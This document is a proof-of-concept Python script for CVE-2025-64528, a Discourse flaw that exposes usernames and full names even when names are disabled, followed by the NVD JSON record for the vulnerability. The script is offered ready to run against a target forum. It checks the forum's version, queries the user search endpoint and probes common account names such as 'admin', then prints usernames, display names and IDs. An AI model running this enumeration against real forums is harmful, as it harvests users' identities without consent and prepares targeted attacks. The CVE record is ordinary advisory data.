CVE-2025-64528

# CVE-2025-64528 PoC - Discourse Username Enumeration import requests import json TARGET_HOST = "https://forum.example.com" # Replace with target PARTIAL_USERNAME = "admin" # Partial username to search def check_discourse_version(): """Check Discourse version""" try: response = requests.get(f"{TARGET_HOST}/about.json", timeout=10) if response.status_code == 200: data = response.json() version = data.get('version', 'unknown') print(f"[*] Discourse Version: {version}") return version except Exception as e: print(f"[!] Error checking version: {e}") return None def enumerate_users(partial_username): """Enumerate users via search API""" print(f"[*] Enumerating users with partial username: {partial_username}") # Try search endpoint search_url = f"{TARGET_HOST}/search.json" params = { 'q': partial_username, 'type': 'user' } try: response = requests.get(search_url, params=params, timeout=10) if response.status_code == 200: data = response.json() users = data.get('users', []) if users: print(f"[+] Found {len(users)} user(s):") for user in users: print(f" - Username: {user.get('username')}") print(f" Display Name: {user.get('name', 'N/A')}") print(f" ID: {user.get('id')}") print() else: print("[-] No users found via search endpoint") except Exception as e: print(f"[!] Error during enumeration: {e}") def direct_api_check(username): """Directly check user via API""" print(f"[*] Checking user directly: {username}") user_url = f"{TARGET_HOST}/u/{username}.json" try: response = requests.get(user_url, timeout=10) if response.status_code == 200: data = response.json() user_data = data.get('user', {}) print(f"[+] User found via direct API:") print(f" - Username: {user_data.get('username')}") print(f" Name: {user_data.get('name', 'N/A')}") print(f" Title: {user_data.get('title', 'N/A')}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": print("=" * 50) print("CVE-2025-64528 - Discourse User Enumeration") print("=" * 50) version = check_discourse_version() if version: enumerate_users(PARTIAL_USERNAME) # Try common usernames for common_name in ['admin', 'test', 'user', 'demo']: direct_api_check(common_name)

{"cve": {"id": "CVE-2025-64528", "sourceIdentifier": "[email protected]", "published": "2025-12-30T16:15:45.930", "lastModified": "2026-02-20T17:04:38.687", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Discourse is an open source discussion platform. Prior to versions 3.5.3, 2025.11.1, and 2025.12.0, an attacker who knows part of a username can find the user and their full name via UI or API, even when `enable_names` is disabled. Versions 3.5.3, 2025.11.1, and 2025.12.0 contain a fix."}, {"lang": "es", "value": "Discourse es una plataforma de discusión de código abierto. Antes de las versiones 3.5.3, 2025.11.1 y 2025.12.0, un atacante que conoce parte de un nombre de usuario puede encontrar al usuario y su nombre completo a través de la interfaz de usuario (UI) o la API, incluso cuando 'enable_names' está deshabilitado. Las versiones 3.5.3, 2025.11.1 y 2025.12.0 contienen una solución."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-202"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-Other"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.5.3", "matchCriteriaId": "643E43BA-A6B7-4346-BE51-04B62C8E8C00"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:2025.11.0:*:*:*:stable:*:*:*", "matchCriteriaId": "66A66D8C-2FBA-4B81-841D-71DFEE97F955"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:2025.12.0:*:*:*:stable:*:*:*", "matchCriteriaId": "CCBF47A8-0D3F-4174-8084-CD3517BF272A"}]}]}], "references": [{"url": "https://github.com/discourse/discourse/commit/1cb45b8b287597085e3514596ffb1d9b41938f81", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/discourse/discourse/commit/6192f55629624925595dae14364fd86cac0f09df", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/discourse/discourse/commit/e936a523b5900a9d866d23ea3da904ba12bb0fb2", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/discourse/discourse/security/advisories/GHSA-c59w-jwx7-34v4", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}